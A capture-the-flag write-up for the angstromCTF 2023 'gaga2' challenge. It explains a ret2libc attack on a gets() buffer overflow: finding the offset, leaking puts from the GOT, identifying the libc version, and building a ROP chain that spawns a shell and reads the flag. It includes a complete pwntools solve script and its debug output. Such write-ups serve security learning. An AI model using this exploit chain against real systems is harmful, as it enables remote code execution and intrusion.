Leak puts address, and find the correct LIBC version from Bulkat database. Use the LIBC base address to perform a ret2libc attack.
Basic File Checks
In this 3 part challenge, gaga0 & gaga1 were solved using ret2win. However, gaga2 suggests that there is no win function available, so we're left with shellcode injection or ret2libc attack.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./gaga2
Awesome! Now there's no system(), so what will you do?!
Your input: test
Performing binary protection check shows that NX is enabled, so shellcode injection is not feasible. Additionally, NX enabled is hinting that we need to perform a ROP attack.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ checksec --file=gaga2
[*] '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static Code Analysis
gets function is used without boundary check, leading to a pwnable scenario for Buffer Overflow attack.
Finding Offset
Using de Brujin Sequence and pwndbg to locate the offset.
Attack Strategy
Since there is no win function available, we can instead create our own system function /bin/sh from LIBC, and direct program execution to that function address, this is known as a ret2libc or ret2system attack. To do so, we will need the base address of LIBC library.
Technically, you can manually carve for the address of system(/bin/sh) from LIBC.
However, this is only the relative offset, not the actual address due to ASLR. In order for this attack to work, we need to calculate LIBC base address + offset address to get the actual address of system(/bin/sh).
Leaking GOT Address
Using the BoF vulnerability, we can leak any function address from the Global Offset Table (GOT).
There are 2 methods to enumerate LIBC functions from the GOT, using either objdump or Ghidra's Program Tree.
The exploit ROP chain consists of 5 parts:
asm('nop') * padding: Filling up the buffer to reach the offset.
pop_rdi: Prepare the rdi register by popping the value off stack (emptying out the register).
elf.got.puts: The address we want to leak. This can be any exportable function from gaga2 binary. In this case, we will leak the address of puts function.
elf.plt.puts: The function of choice invoked to leak got.puts address. The reason why puts is used again here, is because puts only requires 1 arguments, so we only need to prepare 1 register rdi. Technically speaking, we can also use write or printf here, but it requires more arguments, hence more ROPGadgets to prepare.
elf.symbols.main: Finally, we want to redirect program execution back to main to re-exploit the BoF vulnerability.
Exploit the BoF vulnerability once to leak puts address. Note that this is the actual address, not the relative offset.
Calculating LIBC Base Address
Since the challenge author did not provide the LIBC file used by the remote instance, we can perform a lookup from Blukat Database using the leaked puts address. Turns out to be libc6_2.31-0ubuntu9.9_amd64.
Now that we know which version of LIBC is used, we can carve the relative offset of puts using libc.symbols['puts'], and compare it with the leaked address of got.puts to calculate the base address of LIBC.
ret2libc
Using the base address of LIBC and relative offsets, we can calculate the actual address of system(/bin/sh) to pwn the remote server. The ROP chain for 2nd round of exploitation is essentially the same. We need to pop rdi again since system() accepts 1 argument, and insert ret in the middle for 64-bit stack alignment.
void main(void)
{
char local_48 [60];
__gid_t local_c;
setbuf(stdout,(char *)0x0);ass
local_c = getegid();
setresgid(local_c,local_c,local_c);
puts("Awesome! Now there\'s no system(), so what will you do?!");
printf("Your input: ");
gets(local_48);
return;
}
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic 80
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ gdb gaga2
GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
Reading symbols from gaga2...
(No debugging symbols found in gaga2)
pwndbg> run
Starting program: /home/kali/Desktop/CTF/angStrom2023/gaga/gaga2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Awesome! Now there's no system(), so what will you do?!
Your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
Program received signal SIGSEGV, Segmentation fault.
0x000000000040124a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
RAX 0x7fffffffde70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
RBX 0x7fffffffdfc8 —▸ 0x7fffffffe31a ◂— '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
RCX 0x7ffff7f99a80 (_IO_2_1_stdin_) ◂— 0xfbad2288
RDX 0x1
RDI 0x7ffff7f9ba20 (_IO_stdfile_0_lock) ◂— 0x0
RSI 0x1
R8 0x4052f1 ◂— 0x0
R9 0x0
R10 0x1000
R11 0x246
R12 0x0
R13 0x7fffffffdfd8 —▸ 0x7fffffffe349 ◂— 'COLORFGBG=15;0'
R14 0x0
R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
RBP 0x6161617261616171 ('qaaaraaa')
RSP 0x7fffffffdeb8 ◂— 'saaataaa'
RIP 0x40124a (main+116) ◂— ret
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic -l saaa
72
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ objdump -t gaga2
gaga2: file format elf64-x86-64
SYMBOL TABLE:
0000000000404058 g O .bss 0000000000000008 stdout@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 setresgid@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 setbuf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 gets@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 getegid@@GLIBC_2.2.5
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Switching to interactive mode
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Leaked LIBC Base Address: 0x7f560547c000
[*] Switching to interactive mode
solve.py
#!/usr/bin/env python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './gaga2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
rop = ROP(elf)
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so', checksec = False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]
padding = 72
payload = flat(
asm('nop') * padding,
pop_rdi,
elf.got.puts,
elf.plt.puts,
elf.symbols.main
)
io.sendlineafter(b': ', payload)
got_puts = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("Leaked puts Address: %#x", got_puts)
libc_base_address = got_puts - libc.symbols['puts']
print("Leaked LIBC Base Address: ", hex(libc_base_address))
rop = ROP(libc)
system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]
payload = flat(
asm('nop') * padding,
pop_rdi,
bin_sh,
ret,
system
)
io.clean()
io.sendlineafter(b': ', payload)
io.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
Leaked LIBC Base Address: 0x7f560547c000
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.9_amd64.so'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 6a fb 49 05 56 7f 00 00 │····│····│j·I·│V···│
00000050 bd 05 63 05 56 7f 00 00 79 e6 49 05 56 7f 00 00 │··c·│V···│y·I·│V···│
00000060 90 e2 4c 05 56 7f 00 00 0a │··L·│V···│·│
00000069
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0xd bytes:
b'flag.txt\n'
b'run\n'
flag.txt
run
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
b"actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}"
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}